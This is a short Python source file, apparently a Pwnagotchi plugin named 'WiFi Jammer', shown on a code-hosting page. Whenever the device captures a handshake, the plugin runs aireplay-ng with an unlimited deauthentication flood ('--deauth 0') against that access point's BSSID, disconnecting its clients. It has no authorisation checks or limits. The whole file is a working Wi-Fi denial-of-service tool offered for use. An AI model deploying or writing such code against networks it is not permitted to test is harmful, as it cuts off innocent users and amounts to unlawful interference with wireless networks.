-
Notifications
You must be signed in to change notification settings - Fork 1
/
wifi_jammer.py
30 lines (23 loc) · 946 Bytes
/
wifi_jammer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import subprocess
from pwnagotchi.plugins import BasePlugin
class WiFiJammer(BasePlugin):
__author__ = 'Deus Dust'
__version__ = '1.0.0'
__license__ = 'MIT'
def __init__(self):
super(WiFiJammer, self).__init__()
def jam_wifi(self, target_bssid, interface="wlan0"):
try:
subprocess.run(["aireplay-ng", "--deauth", "0", "-a", target_bssid, interface], check=True)
self.log.info(f"WiFi jamming initiated for {target_bssid}")
except subprocess.CalledProcessError as e:
self.log.error(f"Failed to initiate WiFi jamming: {e}")
def on_loaded(self):
self.log.info("WiFi Jammer Plugin loaded")
def on_handshake(self, agent, filename, access_point):
target_bssid = access_point.bssid
self.jam_wifi(target_bssid)
def on_unload(self):
self.log.info("WiFi Jammer Plugin unloaded")
# Instantiate the plugin
plugin = WiFiJammer()